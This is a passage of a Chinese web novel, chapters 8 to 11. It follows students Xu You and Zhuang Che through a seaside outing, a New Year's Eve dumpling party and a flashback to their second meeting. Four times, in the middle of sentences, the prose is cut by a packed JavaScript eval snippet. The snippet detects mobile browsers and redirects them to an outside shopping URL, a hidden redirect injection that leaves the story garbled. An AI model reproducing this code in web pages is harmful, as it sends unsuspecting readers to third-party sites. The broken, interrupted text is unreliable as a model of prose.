等到许由半个三明治下肚，他突然问：“你想去看海吗？” “什么？” 许由腮帮子鼓起一块，疑惑地转头看他。 “看海，我们去看海吧。”庄彻目光笃定。 许由愣住，不知道庄彻为什么突然心血来潮想去看海，但她其实也是喜欢海的，之前有空的时候，甚至还曾独自一人搭乘半个小时的地铁去海边散心。 可是现在…… “算了吧。” 许由毫不犹豫地拒绝，以她现在的身体状态，如果坐半个小时的地铁非得散架了不可。 庄彻似乎看出她所想，从沙发里起身，大步走到门口的衣架旁拿起外套：“不坐地铁，开车。” “刘恒睿有车，我去开过来，你先吃早饭吧，吃完换衣服，慢慢来，不急，你在车上也可以睡会。” 不等许由再开口说些什么，庄彻便拉开门扬长而去。 许由：“……” － 庄彻说让许由在车上睡会，等许由走到车旁，拉开副驾驶门的时候，副驾驶的椅子还真就被他调整成了适合睡觉的状态，座位上还贴心地放了一个毯子。 许由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14261628|151652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盖着毯子，本来没什么困意的，大概是汽车微微的颠簸和车内舒缓的音乐声太过催眠，上车不到五分钟，她的意识便渐渐开始变得模糊。 唤醒她的是近在耳边的温柔低语。 “许由，到了。” 许由顶着懵懵的脑袋坐起身，看向窗外。 入目便是一望无际的大海。 困意顿时消失的无影无踪。 许由开门下车，深深地呼吸了一口咸腥味道的海风。 庄彻锁上车，走到许由身边站定，他看了一眼不远处的沙滩步道，低头问许由：“走走？” 今天的天气不算好，是阴天，海面灰蒙蒙一片，但许由依旧一脸舒适惬意地沿着步道悠悠走着。 在她看来，如果阳光明媚时的海面蔚蓝澄澈，是一幅色彩鲜艳夺目的油画，那阴天的海面就是一幅水墨画，颜色沉稳内敛，两者各有各的美。 唯一有一点不太好的就是，海边的风很大，总是把许由的头发吹到脸上，许由只能不停地抬手将其拂开。 庄彻见状，不动声色地走到外侧，替她挡去大半潮湿咸腥的海风。 两个人就这么慢悠悠地走出去很远。 走着走着，视线中出现一座修建在沙滩边上的木头搭的小屋，小屋旁立着一个大大的招牌，看上去应该是一家餐吧，庄彻转头问许由累不累，许由点头，庄彻便带着她朝那处走去。 餐吧地方很小，点餐台的背后就是开放式厨房，厨房旁边还硬挤出巴掌大点的地方摆了几张小方桌。 不过让许由觉得这家餐吧设计得非常有格调的一点是，在点餐台的对面，也就是过道的另一边设了一排木质的长桌，坐在桌边正好面朝大海，看潮起潮落。 许由出来的时候就吃了半个三明治，再加上走了这么久也消化得差不多了，因此她点了一份烤鱼，一份薯条以及一杯饮料，庄彻付钱。 庄彻照着点了份一模一样的，和许由一起在桌边坐下。 “还有一个小时就日落了。” 庄彻看了一眼手机，突然说。 许由没答话，但她听出了庄彻话中的意思，等菜上来之后，细嚼慢咽，吃得很慢。 在海浪拍打礁石沙滩的唰唰声中，遥远处，海面与天空相连接的地方逐渐开始燃烧。 火焰很快将海天一线染成了灿烂绚丽的金黄，也给在海这边坐着的许由和庄彻蒙上了一层色彩艳丽的薄纱。 许由默默转头，在夕阳中打量着庄彻的侧脸。 庄彻似有所感，转头，对上她的视线。 大概是因为此刻落在庄彻脸上的光很温柔，所以连带着他专注的目光也变得十分温柔。 “你今天为什么突然想来看海？”许由问出自己好奇已久的问题。 庄彻懒洋洋地托腮看她：“我上大学的时候，一不高兴就会开车去海边走走。” “因为大海可以吞没掉我所有的负面情绪。” “也可以让我忘记那些不重要的人或事，创造新的、美好的回忆。” 庄彻话里有话，但他说话时语调懒散，带着股吊儿郎当的劲，再加上他跟多愁善感的文艺青年压根沾不上边，因此许由只觉得他是在鬼扯，撇撇嘴，又看回夕阳。 不过她的嘴角仍是不自觉地，一点一点地勾起。 仔细想想，今天下午他们在海边似乎也没有做什么特别的事情，没有奇遇，更没有暧昧的氛围，就是两人默默沿着海边的步道散步，感受海风，然后在途中偶遇的一家餐吧坐下，吃着味道其实并不是很好的烤鱼，看落日霞光将天空和海面都灼烧成耀眼夺目的金黄。 但许由却无比笃定地认为，就算以后她和庄彻分开了，应该也会永远记住这一天。 这平淡普通，又美好的一天。 以及在夕阳余晖的笼罩中，异常温柔的庄彻。 8. 第 8 章 期末考试结束后没多久便开学了。 而开学的第一堂课便是早课，许由早早地就到了教室，看着后来的邱思思风风火火冲进教室，坐到她身边抱怨道：“幸好我昨天晚上未卜先知，知道今天早上可能起不来，设了五个闹钟，不然你现在还真不一定见得到我。” 许由打趣她：“那你还是很厉害的哦，居然要五个闹钟才能把你闹醒。” 邱思思满脸骄傲：“那是，我睡眠质量一向很好，睡得最死的时候，闪电都劈不醒我。” 许由终于忍不住，扑哧一声笑出来，正要说些什么，肩膀突然被人从后拍了拍。 她回头，看见一张略有些熟悉的面孔。 女生扎着丸子头，笑得眉眼弯弯：“许由，居然真的是你，刚才在下面看到你的时候，我还以为自己看错了呢。” 许由眨巴眨巴眼看着女生，两秒钟后，想起来自己在哪里见过这个女生。 期末考试结束那天，刘恒睿组的饭局上，他的新女友。 “我叫陆雨竹。”女生主动自我介绍道。 许由：“好巧。” 陆雨竹：“就是，没想到居然能和你上同一节课。” “许由，这位乖妹妹是谁呀？”邱思思靠过来，呲着大白牙冲陆雨竹笑，“你好，我叫邱思思。” 陆雨竹趴在桌上和许由邱思思说了会儿话，后面大概是觉得这样不舒服，便趁着还没开始上课，挪到了许由旁边的空位。 和陆雨竹简单地聊了几句，许由才得知，原来陆雨竹和她并不是同一个专业，只不过两人同属于商学院，又正好，两人所在的专业这学期都要学这门课程。 许由不禁在心里感叹这是什么奇妙的缘分。 “话说回来，你们两个是怎么认识的？”聊着聊着，邱思思突然问。 许由顿了一下，随即答道：“算是……朋友的朋友吧。” 陆雨竹闻言看了许由一眼，虽然不知道她为什么要这么说，但还是选择了不戳穿她，顺着她的话点了点头。 接触之后，许由发现陆雨竹是一个开朗大方、性格非常可爱的女生，二人的关系飞速发展，不过才一起上了两节课，在微信上聊了几天，便已经成为了可以一起逛街聊八卦，无话不说的好闺蜜。 而在和陆雨竹相处中，许由得知，陆雨竹竟然也是大学本科就到Ｙ国这边来念书了，并且很早就认识了刘恒睿，最开始她是以朋友的身份跟刘恒睿相处的，直到上个月刘恒睿又双叒跟女友分手了，她才终于鼓起勇气向刘恒睿告白。 许由听完后欲言又止，陆雨竹看着她，笑容突然变得有些苦涩，说：“许由，我知道的，刘恒睿他……我都知道的。” 陆雨竹以为许由是想劝她，却又怕伤害到她，所以才欲言又止。 其实不然，许由只是想到了自己，陆雨竹那句话何尝不是在说她呢。 许由见过庄彻想要结束一段关系时冷漠的样子，因此不会天真地认为，庄彻现在对自己的温柔是自己对他独一无二的证明。 两人初见时，她对庄彻说的那番话，除了希望他能够认真对待一段感情，无论开始或结束之外，也是希望可以点醒那个女生，别再为一段注定留不住的感情做无谓挣扎。 却不想，现在深陷其中的人变成了自己。 和陆雨竹相比，她甚至都不敢将自己和庄彻的关系告诉身边的朋友，她又有什么资格去劝说陆雨竹呢。 － 春节临近的时候，陆雨竹在微信上问许由除夕那天晚上有没有空。 许由想了想，除了白天排得满满的课程之外，晚上她似乎还真没有什么安排。 ［陆雨竹：那太好啦，除夕那天我们公寓举办春节party，大家一起包饺子吃，你和邱思思下了课来，正好能吃上一口热乎的。］ ［许由：好呀。］ 然而现实就是这么巧，许由前一秒刚应下陆雨竹的邀请，下一秒庄彻的消息便发了过来。 [－.－：除夕那天你几点下课，我来接你。] 庄彻研究生念的专业是工科，课业要比许由繁重许多，开学至今，两人已经有将近小半个月没见面了。 许由无言半晌，敲字：不用，我有约了。 ［－.－：什么事？不可以推掉？］ ［许由：我已经答应人家了。］ 庄彻似乎是生气了，过了好几分钟都没有回复许由的消息。 “许由，”身旁的邱思思突然凑过来，“上课了，你怎么还盯着手机发呆呀？” 许由瞬间回神，将手机正面朝下扣在桌上，没再去想庄彻为什么不回消息。 时间很快来到除夕当天。 邱思思临时有事去不了，许由便在下课之后，独自前往陆雨竹所住的公寓。 陆雨竹两只手裹着面粉就出来迎接许由了。 “许由，你终于下课了，快来帮我们一起包。” 许由跟着陆雨竹去到公寓一楼，专门用来给学生们聚餐开party的房间，就看见房间正中央的桌子上摆放着好几大盆肉馅，桌边除了学生，还有穿着公寓制服的工作人员也在包。 “我们公寓有一个前台姐姐是中国人，我们平时都叫她慧姐，今天晚上这个活动就是她提议，并全程主导的，”陆雨竹指了指那个穿着公寓制服的人，“饺子皮都是她亲手擀出来的。” 许由笑：“这样啊，那慧姐可真厉害。” 许由脱掉碍事的厚重外套，挽起袖子洗干净手后，迅速加入了包饺子的队伍中，但她以前只看过家里人包饺子，没上手包过，因此包出来的饺子形状千奇百怪的。 陆雨竹看着许由手中全新出炉的半成品，恍然大悟道：“我知道了，你是想做一个福袋，新的一年，把福气都兜住，是吧？” 许由：“不是呀，这就是普通的饺子。” 许由把自己包的“饺子”放进盘子里，和大家包的摆在一起，除了外表长得略有不同之外，里头的肉馅都是一样的。 很好！ 第一波包好的饺子刚下锅，屋子里又涌进来了一波来参加派对的人，而其中恰好有一张许由无比熟悉的面孔。 “许由！”乔心兴奋地跑到许由身边：“你居然在这！” 许由也很惊讶，她昨天晚上还在厨房跟乔心聊天来着，但阴差阳错，两人都没有聊到包饺子这茬。 见乔心张开手就要给自己一个热情的拥抱，许由赶紧往旁边躲：“我手上都是油，小心别弄你衣服上了。” 乔心：“行，那我先去洗手，马上就来帮忙。” “哎哎哎，不用了。”慧姐端着一大盘包好的饺子过来，“饺子包的差不多了，不用再包了，晚点还有汤圆呢，大家都去洗手准备吃饺子吧。” “好耶，一来就能吃上热乎的饺子，幸福！”乔心兴奋地挽上许由胳膊，准备拉着她一起去洗手。 许由转头想叫上陆雨竹一起，却看见她正在把刚才亲手包的饺子一个一个，小心翼翼地装进她带的饭盒里。 许由笑笑，没有打扰她。 今天是除夕，饺子是重头戏，但派对不会让大家只吃饺子，因此桌上除了热气腾腾的饺子外，还有精心洗好切好的水果，以及炸鸡薯条等各类小吃。 许由端着盘子走到饺子前，一眼便从一堆个大饱满的饺子里找出自己包的那些，满足感爆棚地就要伸筷子去夹，乔心突然用胳膊肘狂拐她。 “庄彻！庄彻！庄彻！” 乔心生怕被人听见似的，声音压得很低，许由没听清她说了什么，只是顺着她的视线看去。 门外又走进来几个人，为首的男生个高腿长，往房间里一站，顿时让人觉得空间都变得狭小了许多。 他看上去似乎心情不太好，眼皮恹恹地搭着，使得眉眼愈加锋利，压迫感十足。 Ｘ市还是太小了，一个除夕夜派对，许由竟然在陌生的公寓接连碰上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14261629|151652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了两个熟悉的人。 没等许由对此做出反应，庄彻忽地抬眸，目光穿过屋内重重人影，准确无误地落在了她脸上。 那双黑眸里原本盛着的有些不耐的情绪，立刻变得玩味起来。 庄彻这人，到哪都自带焦点，在他进来后，屋子里的讨论声骤然小了许多，而他仿佛对周围的视线毫无所觉，一步一步，不急不缓地朝许由所在的方向走来。 许由端着盘子，手足无措地站在原地。 乔心没多想，只以为庄彻是冲着饺子来的，赶紧拉着许由退到一边，却不想庄彻看都没看那盘饺子一眼，径直走到许由跟前。 “好巧。” 耳边的心跳声震耳欲聋，许由分不清是自己的，还是乔心的。 乔心平时最爱的就是八卦和帅哥，她对庄彻之前的几段情史估计比许由这个现任女友都要清楚一点，不过在当事人面前，该装还是得装一下的。 “许、许、许由，你们认识吗？” 庄彻听到乔心的问话后轻笑了一声，但并没有要开口替许由回答的意思。 他想知道许由会怎么回答这个问题。 似乎过了很久，又或许只过去了几秒，许由艰难地挤出一个笑，不敢对上庄彻视线。 “嗯，他是我的……朋友。 许由的话音落下后，庄彻嘴角笑意依旧，眼神却肉眼可见地冷了下去。 乔心看出来许由和庄彻之间的气氛有点不对劲，但她琢磨不出来为什么不对劲，便只干巴巴地附和道：“原来是这样啊，哈哈，哈哈……” 许由仍垂着眼不看庄彻。 “庄彻，”一道明媚的女声突然打破二人间凝固的氛围，紧接着，许由身前落下一道阴影，挡住了庄彻看向她的视线，“我给你拿了个盘子。” 是和庄彻一起来的女生。 她没看身后的许由和乔心，把手里的盘子往庄彻面前递了递，催促他道：“赶紧吃点东西，吃完了回去还得接着查课题资料呢。” 新学期开始之后，庄彻是真的忙，每天都有上不完的课，查不完的资料，以及开不完的小组会议。好不容易除夕当天下午两节课程结束之后就没事了，他立刻想着约许由出来见面。 结果晚了一步，许由已经跟别人约好了。 也是凑巧，他目前正在进行中的小组作业出现了一点问题，今天下午下课后，小组组员李玉林便主动站出来，提议大家去到自己公寓，把问题给解决了，免得小组作业一直卡在问题处，无法进行下去。 庄彻没有异议，反正他今晚见不了许由，去哪都一样，而组里唯一的一名女生尹晓洁见状，也立刻推掉了原本和自己小姐妹的约会，义正言辞地说还是小组任务最重要。 剩下最后一名男生，不得不点头答应。 四人查了许久的资料，本来是打算点个外卖吃的，李玉林突然一拍脑袋，说：“今天是除夕呀，该吃饺子的。” 然后他顺势想起来公寓今天正好有春节派对，便带着三人下来凑凑热闹。 庄彻是真没想到，微信上约不出来的人，竟然在这个饺子趴上遇见了。 “庄彻？” 尹晓洁见庄彻没有反应，又叫了他一声。 “知道了。” 庄彻收了笑，从尹晓洁手里接过盘子，转身朝旁边摆着小吃的桌子走，没再分给许由半点眼神。 见人走远，乔心做贼似的，凑到许由耳边低声问：“许由，你跟庄彻是怎么认识的呀？” 许由咬了一下嘴唇：“就，通过朋友认识的。” 说话时，她目光仍跟着庄彻，看着庄彻往盘子里夹了一块炸鸡。 “别看啦。” 乔心抬手在许由眼前晃了晃：“你也觉得庄彻很帅是吧，但也不能这么盯着别人看呀，我听说他已经有女朋友了。” “我猜就是给他递盘子的那个女生，你看见没，那女生看他的眼神都快拉丝了。” 9. 第 9 章 在听到乔心的话后，许由抱着盘子，心里莫名有点不是滋味，乔心又在她耳边说了些什么，但她没有听到。 party很热闹，兴许是远在国外，过年时第一次没有家人陪伴在身边的缘故，大部分参加party的人虽说是第一次见面，但在相处时并没有尴尬或是冷场，反而都相处得十分融洽。 有人还从房间里抱来了一个蓝牙音箱，循环播放着刘德华的《恭喜发财》，年味一下子就上来了，还吸引了不少住在公寓里的外国人也来凑热闹。 因此，乔心没有察觉出许由情绪上的异常，她拉着许由走到那一大盘饺子前，夹起其中一个最奇形怪状的饺子放到许由的盘子。 “哈哈，这个长得像烧麦的一看就是你包的，馅都漏出来了。” “你包了那么久，辛苦了，多吃一点。” 乔心不停给许由夹饺子，除了她自己包的之外，还有那种个头大，一看就皮薄馅多的。 去房间放饺子的陆雨竹回来，见到庄彻后愣了一下，但看他没有跟许由站在一起，许由也是一副心不在焉的模样，以为两人吵架了，默默走到许由身边，打量起她的脸色。 “怎么了？” 许由察觉到她的目光，转头看她，嘴角勉强挤出一个微笑。 陆雨竹立刻摇头：“没什么。” － “庄彻，这里还有那么多饺子，你别光指着那些丑的夹呀。” 尹晓洁拿菜的时候一直跟在庄彻身边，看他在夹饺子时，尽挑着那些包得丑的夹，哭笑不得：“你看你盘子里的那几个，都不能叫饺子，得叫烧麦了。” “喏，”尹晓洁自然而然地夹起一个包得非常标准的饺子就要往庄彻的盘子里放，“这种的，才叫饺子。” 庄彻移开自己的盘子，后退一步拉开和尹晓洁的距离：“不用，我喜欢吃丑的。” 他们一行四人拿完菜后，找了张角落的桌子坐下，因为心里头还惦记着小组作业，也顾不上仔细去品尝饺子馅了，只想着赶紧吃完赶紧回去。 庄彻没什么胃口，盘子里除了一块炸鸡，便只有几个奇形怪状的饺子。吃到最后，他盘子里的饺子一个不剩，反倒是那块炸鸡，才咬了一口就被拨到一旁。 李玉林见几人都吃的差不多了，催促着大家回去。 庄彻慢悠悠地走在后头，但直到他离开房间，都没再往许由那看去一眼。 吃完晚饭回来，庄彻的效率明显没有晚饭前那么高了，他笔记本电脑显示的资料停留在他回来时点开的那一页，过了半个小时也没有发生丁点的变化。 手机放在腿边，只要稍微一震动就能感觉得到。 “庄彻，你帮我看看这句话是什么意思。” 尹晓洁又抱着电脑靠过来问庄彻问题，庄彻扫了一眼，简单地解释了一句，然后看回电脑屏幕，眼神却总是不受控制地往手机上瞄。 可他的手机风平浪静，连条骚扰短信都没有。 …… 很好，连句解释也没有，所以，她就真的只是把自己当成朋友，而已。 几个人又埋头苦干了许久。 “哎，你们还在啊？” 不知过了多久，李玉林的室友到厨房来拿东西，见几人还围着沙发坐着，不禁感到诧异：“都九点半了。” 李玉林冲室友苦笑：“没办法，问题还没解决呢。” 尹晓洁一头柔顺的长发被她揉得像个鸡窝，她仰靠在沙发上，手搭着额头，有气无力地问道：“李玉林，你这有吃的吗？面包饼干都可以，我用脑过度，已经把之前晚饭吃的都消化完了。” 李玉林的室友闻言说：“你们饿啦？楼下有汤圆，黑芝麻馅的，你们要吃的话可以下去吃，我刚吃完回来，还有好多呢。” 尹晓洁一听，立刻来了精神：“我要去吃汤圆。” 李玉林和另外一个男生听了他室友的话，也站起身，准备下楼去吃一碗热乎乎的汤圆。 尹晓洁看向坐在沙发里，一动不动的庄彻：“庄彻，走啊，下去吃汤圆去。” 庄彻又看了眼他一整晚都安静得不像话的手机，语气平淡：“我不想吃，你们去吧。” － 许由今晚明显有些不在状态。 吃完晚饭后，有人带头组织留在屋子里的人玩起了游戏，许由心不在焉，无论玩什么都是最先淘汰的那个，后来听说慧姐准备煮汤圆了，她便主动提出要帮忙，离开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14261630|151652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屋子。 陆雨竹跟了出来，走到她身边：“你跟庄彻吵架了？” 许由否认：“没有。” 她和庄彻，应该算是她单方面惹怒了庄彻，算不上吵架，毕竟庄彻连一句质问都没有。 陆雨竹苦笑。 她听出许由语气里的低落，但她不知道该怎么安慰许由，因为她自己的感情也是一团遭，顶多能跟许由一起抱团取暖。 汤圆是现成的，只需要等水烧开后下锅煮就行了，比包饺子简单许多。煮完后，许由和陆雨竹帮着慧姐一起将煮汤圆的那口大锅抬到开party的屋子里。 原本玩游戏玩得正兴起的众人，见到热乎乎的汤圆，立刻放下手里的事情，狼人平民一家亲，欢呼着围到桌边。 许由不怎么喜欢吃黑芝麻馅的汤圆，因此只舀了两个，就当是凑个热闹。 没过多久，之前和庄彻一起来吃饭的那几个人有说有笑地走了进来。 几乎是下意识的，许由立刻朝几人身后看去，没看到庄彻的身影。 许由默默低下头。 三人端着汤圆坐到了许由旁边的桌子，对话声时不时地就飘到许由耳里，都是些专业术语，许由听不懂。 他们三个吃得很快，刚坐下没一会，便又起身准备离开。 “哎，你干什么去？门在那边。” 许由看见同行的其中一个男生叫住往门反方向去的女生。 女生脚步不停：“庄彻没吃呢，我给他端一碗回去。” “庄彻不是说他不吃吗。” 女生：“他说不吃，你就真不给他带啊。他本来晚饭就没吃多少，你房间里又没有什么吃的，我给他端一碗回去，万一待会饿了还可以吃。” “哎哟，哎哟，哎哟。” 两个男生开始起哄：“太贴心了，尹晓洁，我要是庄彻，一定会被你感动的。” “就冲你这碗汤圆，庄彻今天晚上都不能再拒绝送你回家了，他非得把你安安全全地送到公寓楼下不可。” “知道就好，一会别来当电灯泡啊。” “……” 许由咬了一口汤圆，黑芝麻馅甜的腻人，她没了胃口，放下勺子，将碗推到一边。 10. 第 10 章 吃完汤圆，大家又嚷嚷着要玩游戏，许由陪着玩了两局，但她实在是提不起兴致，只觉得累。 明明她今天也没做什么事，可现在就是累到连话也不想多说一句，当她再一次被投票出局之后，她从座位上起身，准备收拾东西回去休息了。 乔心沉浸在狼人杀里恋恋不舍：“啊，这么早，今天是除夕哎，再多玩会儿吧。” 许由见她这副模样，不由失笑：“那你就多玩一会再回去好了，这里离咱们公寓又不远，我一个人回去可以的。” 说完，还不忘叮嘱：“但是你也别玩得太晚哦，太晚了一个人回还是有点不安全的。” “放心，我心里有数，实在不行，我就在我朋友这里睡一晚。” 乔心和陆雨竹将许由送到公寓门口，然后手挽着手，姐俩好地往回走，看上去完全不像是刚认识几个小时的样子。 许由转身，脸上挂着的浅淡笑意立刻被寒风吹散。 时间临近十点，街上别说是行人了，连车都没有几辆，周围安静得不像话。 许由从包里掏出手机，解锁，盯着那个一整晚都没有动静的头像。 开学之后，庄彻便把他的微信头像换成了两人那天在海边看到的日落，不过庄彻的摄影技术似乎不大好，把她拿着叉子的手也一起拍进去了。 许由看到后，好心地给庄彻指了出来，庄彻却无甚所谓，只简单地回复一句：就这样吧，懒得再改了。 看着聊天框最上方的―.―，许由甚至能在脑海中想象出庄彻打出这句话时，脸上无所谓的表情。 她严重怀疑，庄彻的微信名也是因为他懒得想，所以才随手打了几个符号凑合。 “在看什么，这么入神？” 熟悉的声音骤然在耳边响起，是惯有的懒散语调。 是了，庄彻觉得无所谓，或者是心情不好的时候，就会是这个语调。 …… 不对！ 许由猛地抬头，今晚让她魂不守舍一整晚的人，此刻就站在前方不远处看着她。 路灯将他的影子拉长，延伸到脚边。 怔愣片刻，许由终于找回自己的声音：“你怎么会在这里？” 庄彻将许由惊讶的表情尽收眼底，不答反问：“我不在这里，那我应该在哪里？” 他这问题问得无赖，哪个正经人会深更半夜的在大街上站着，跟雕像似的，他刚才要是不出声，许由压根发现不了他。 许由张了张嘴，没发出声音，过了一会，才又问道：“你在这里等多久了？” “没多久。” 庄彻懒洋洋地答着，一边抬脚朝许由走去，可就当他快走到许由跟前时，许由却突然往后退了一步。 庄彻的脚步随之一顿。 许由后退是因为她心里乱糟糟的，还不知道该怎么向庄彻解释晚饭时的事，怕他问起所以下意识躲避。 但落在庄彻眼里，庄彻却因为晚饭时发生的事，误以为许由是在疏远自己。 庄彻垂眼看着许由，沉默良久，突然笑了：“我又不会对你做什么。” 说完，他转过身不看许由：“走吧，很晚了，送你回去。” 空旷的街道响起两人一前一后的脚步声。 走在前面的脚步声不急不缓，稍落后一些的脚步声听上去则十分杂乱，似乎在努力追赶着什么。 没过多久，前头那道脚步声变慢了些，后面的脚步声才像终于找到节奏似的，逐渐平稳下来。 庄彻将许由送到她公寓门口。 许由掏出钥匙刷开公寓大门，在进门时，侧过头，很小声地对庄彻说了一句：“谢谢你送我回来。” 公寓大门在许由身后缓缓关上。 “许由。” 门即将关上的前夕，庄彻的声音突然从门缝里钻进来，许由回头，就看见庄彻双手插兜站在门外，嘴角噙着一抹浅笑，路灯暖黄色的光落在他的头顶、肩膀，却照不进那双黑沉的眸子里去。 大门彻底关上。 两人隔着玻璃对望，庄彻的声音听上去闷闷的，却掷地有声。 “我说过的，我这个人，只要我想，就一定能得到我要的。” “同理，只要我不想，谁也不能逼我放手。” 许由心跳骤然失去节奏。 是了，这才是真正的庄彻，不达目的不罢休，想要的东西，不惜一切手段也必须要得到的庄彻。 － 时间退回到九月初。 许由和庄彻的初次相遇不欢而散，许由并没有把这个小插曲放在心上。 那时候虽然没有开学，但作为新生，许由要做的事情有很多，购置日常用品，办理居留许可证、Ｙ国当地银行的银行卡，以及参加新生周的各种活动，和新同学们打好关系，等等。 许由很快便忘记了酒吧那天晚上的不愉快，连带着将庄彻这个人也一同抛之脑后。 但没能抛多久。 两天后，学院的新生欢迎会上，许由再次见到了庄彻。 来参加新生欢迎会的人很多，许由适应不了嘈杂的氛围，邱思思也觉得人挤人没意思，两个人便去餐台那里拿了一些免费提供的甜点，然后找了个人少的角落处坐下。 凳子还没坐热，头顶突然落下一道声音。 “请问可以拼个桌吗？” 男声低沉醇厚，听上去比音乐声中的鼓点更能撩拨人的心弦，许由觉得这声音自己似乎在哪里听过，抬头看去—— 庄彻笑容温和地站在她们桌边，和上一次许由在酒吧里见到的那个冷漠散漫，还拿她当挡箭牌的人完全不一样。 “周围的桌子都有人了，我能坐你们这一桌吗？” 邱思思见对方是个中国人，还是个个高腿长的帅哥，眼睛唰地一下亮起，就差起身亲自去给庄彻拉凳子了：“能坐的，能坐的。” 桌子是方桌，许由和邱思思一人坐一边，闻言，庄彻自然而然地拉开许由旁边的凳子，挨着她坐下。 经过一番简单地自我介绍之后，邱思思好奇地问庄彻：“你不是我们学院的，为什么会来参加我们学院的新生欢迎会？” 庄彻看了一眼身旁默不作声低头吃东西的人，笑道：“我是陪朋友来的，但他临时有事，放了我鸽子。” 邱思思：“这样啊。” 邱思思性格外向，话也多，很快便和庄彻聊开了，而对于邱思思一个接着一个朝自己抛来的问题，庄彻也始终有耐心地一一回答。 如果两天前在酒吧，许由没有撞见庄彻和他前女友分手的狗血场面，她今天或许也会和邱思思一样，认为庄彻是一个温和有礼，好相处的人。 但亲眼见过庄彻对于前任卑微挽留的态度后，许由看出，庄彻其实是一个冷漠到骨子里的人。 许由性子偏安静，和邱思思相处时，便是邱思思一直不停地念叨，而她笑着听，时不时地附和几句。 所以现在她默默吃着甜点，听着邱思思和庄彻说话，自己只是在他们笑的时候也跟着笑笑时，邱思思并没有注意到她在庄彻出现之后，情绪上那一点微妙的变化。 正聊得兴起，邱思思内急去了卫生间，桌上的气氛在她离开后急转直下，会场内的音乐声和谈笑声也无法掩盖逐渐在二人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许由愣愣地看着递到自己面前来的手机，脑袋半天转不过弯来，不知道话题怎么就突然扯到加联系方式上了。 她有些犹豫，但如果拒绝，似乎又侧面印证了庄彻之前说她在生气的话。 沉默片刻，许由还是拿起手机。 再之后，去卫生间的邱思思回来，庄彻收起手机，依旧和邱思思谈笑风生。 许由被庄彻突如其来的道歉给整得有点懵，以致于她没有注意到，明明全程跟庄彻聊得兴起的人是邱思思，可最后离开时，和他加了联系方式的人却只有自己。 见面会结束，庄彻目送许由邱思思离开，转身往另一个方向走。 他心情颇好地从兜里掏出手机，屏幕上显示着刘恒睿给他打了十多个未接来电，微信也被他的消息给狂轰滥炸了。 庄彻刚点开微信准备回消息，又一通电话进来，他接起。 “庄彻，你搞什么？是你非要拉我来这个什么新生欢迎会的，结果欢到一半，你人跑了，把我一个人丢这，坑兄弟也没有你这么坑的吧！” “你故意整我的是不是？” 庄彻：“……你现在在哪？” “酒吧，电话打爆了都不接，消息也不回，老子才懒得找你。” “行，今晚我高兴，请客，你想喝什么尽管点。” “你当然高兴了，把老子一个人丢在那里，自己不知道去哪里……” 在对面说出更难听的话之前，庄彻把电话挂掉，吹着口哨，踏着夜色，悠悠朝酒吧走去。 11. 第 11 章 许由觉得很奇怪，非常奇怪。 学校明明这么大，开学半个月了，她从没有在学校里偶遇过和自己不同专业的乔心南瑾书她们，却偏偏走到哪里，都能碰见庄彻。 周二中午，她因为繁重的课业来不及回公寓做饭，只能在学校的餐厅凑合着吃一顿时，会在排队等着打菜的间隙，被人从后轻拍肩膀。 她回头，就看见庄彻那张笑得恣意张扬的俊脸。 “好巧，你也在这里吃午饭。” 周三下午，她提前到达上课的教室外，但因为教室里现在正在上其他的课程，无法进去，便在过道里的沙发坐下，拿出电脑为一会的课程做预习准备时，身旁的沙发也会突然陷下去，一转头，又是一样的笑脸。 “好巧，你也在这栋教学楼上课啊。” …… 两周过去，比起神出鬼没，时常下了课就不见踪影的邱思思，许由觉得庄彻倒更像和自己一起上课的同学。 因为自己在哪都能碰见他。 许由就算再迟钝，也渐渐琢磨出点不对劲来，但又觉得自己似乎是多想了，因为庄彻对她无论是言语还是行动上都和新生欢迎会那天一样，保持着适当有礼的距离。 或许真的就如庄彻所说，一切都只是“碰巧”而已。 直到某天，在教室里上课的时候，许由收到了一大束玫瑰花。 不过不是庄彻送的。 “同学，你收回去吧，我不要……” 许由看着被人递到眼前的玫瑰，十分头痛，现在还没有上课，但是阶梯教室里已经坐了不少人了，大家都在看她的热闹，其中还不乏有人起哄。 送花的男生也是倔，捧着花的手一动不动，见许由不接，脑袋从花束后冒出来，开始对她深情告白。 